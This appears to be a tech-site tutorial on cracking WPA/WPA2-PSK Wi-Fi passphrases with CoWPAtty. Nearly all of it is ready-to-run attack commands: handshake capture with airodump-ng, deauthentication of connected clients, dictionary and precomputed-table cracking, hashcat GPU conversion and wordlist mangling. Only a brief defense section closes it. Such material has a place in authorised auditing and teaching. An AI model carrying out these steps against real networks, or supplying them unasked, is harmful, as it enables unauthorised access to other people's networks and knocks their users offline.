CoWPAtty — WPA-PSK Offline Cracker

3 min readArticle

CoWPAtty is a command-line tool for offline dictionary attacks against WPA-PSK and WPA2-PSK networks. It takes a captured 4-way handshake and a wordlist, computes the PMK (Pairwise Master Key) for each candidate passphrase, derives the PTK, and checks against the MIC in the handshake. Simpler than hashcat — good for learning the internals and for pre-computed rainbow table attacks via genpmk.

Installation

bash

sudo apt install cowpatty

# Or build from source
git clone https://github.com/joswr1ght/cowpatty
cd cowpatty && make && sudo cp cowpatty /usr/local/bin/

Capture a WPA Handshake First

bash

sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Find target
sudo airodump-ng wlan0mon

# Capture handshake on target channel
sudo airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture

# Deauth a connected client to force re-authentication
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# When airodump shows [ WPA handshake: AA:BB:CC:DD:EE:FF ] — capture is complete
# File: capture-01.cap

Basic Dictionary Attack

bash

cowpatty -r capture-01.cap -f /usr/share/wordlists/rockyou.txt -s "NetworkSSID"

# Flags:
#   -r  capture file (.cap / .pcap)
#   -f  wordlist file
#   -s  SSID — REQUIRED, SSID is mixed into PMK derivation

# Example output:
# The PSK is "password123".

Why the SSID Is Required

PMK derivation includes the SSID:

shell

PMK = PBKDF2(HMAC-SHA1, passphrase, SSID, 4096 iterations, 32 bytes)

"password123" on "HomeNetwork" produces a completely different PMK than "password123" on "OfficeWiFi". This is why rainbow tables must be SSID-specific.

Pre-Computed PMK Tables with genpmk (Much Faster)

bash

# Generate PMK hash file for a specific SSID + wordlist (one-time upfront cost)
genpmk -f /usr/share/wordlists/rockyou.txt -d homeNetwork_pmks.db -s "HomeNetwork"
# Takes time — but the .db is reusable for any capture from "HomeNetwork"

# Crack using pre-computed table (near-instant)
cowpatty -r capture-01.cap -d homeNetwork_pmks.db -s "HomeNetwork"
# -d instead of -f → skip PBKDF2 computation entirely

Speed comparison:

cowpatty -f (dictionary): ~300–3,000 PMKs/sec on CPU
cowpatty -d (pre-computed): limited by disk read speed (~100 MB/s), near-instant per candidate
hashcat -m 22000 on GPU: 300,000–3,000,000 H/s — far faster for raw cracking

Verify Capture Has a Valid Handshake

bash

# CoWPAtty tells you if the capture is usable:
cowpatty -r capture-01.cap -s "HomeNetwork" -f /dev/null 2>&1
# "Collected authentication handshake" = valid
# "No valid handshakes" = re-capture needed

# Also check with aircrack-ng
aircrack-ng capture-01.cap
# Shows: "HomeNetwork   WPA (1 handshake)" = usable

Convert to hashcat Format for GPU Cracking

bash

# Convert to hashcat unified WPA format (handles both PMKID and EAPOL)
hcxpcapngtool -o hashes.hc22000 capture-01.cap

# GPU crack (vastly faster)
hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txt
hashcat -m 22000 hashes.hc22000 rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Custom Wordlists

bash

# Generate targeted wordlist with crunch (e.g., 8–10 char alphanumeric)
crunch 8 10 abcdefghijklmnopqrstuvwxyz0123456789 -o custom.txt

# Apply hashcat rules to expand rockyou, feed into cowpatty
hashcat -r /usr/share/hashcat/rules/best64.rule --stdout rockyou.txt > mangled.txt
cowpatty -r capture-01.cap -f mangled.txt -s "HomeNetwork"

Defense

Strong passphrase (15+ characters, mixed, not dictionary words): makes brute-force impractical regardless of tool
WPA3-SAE: replaces PSK with Dragonfly handshake — offline dictionary attacks are not possible
Avoid common SSID names — generic SSIDs ("HomeNetwork", "linksys") have pre-built PMK tables available online

techzonesite.comUnlock Your IT Potential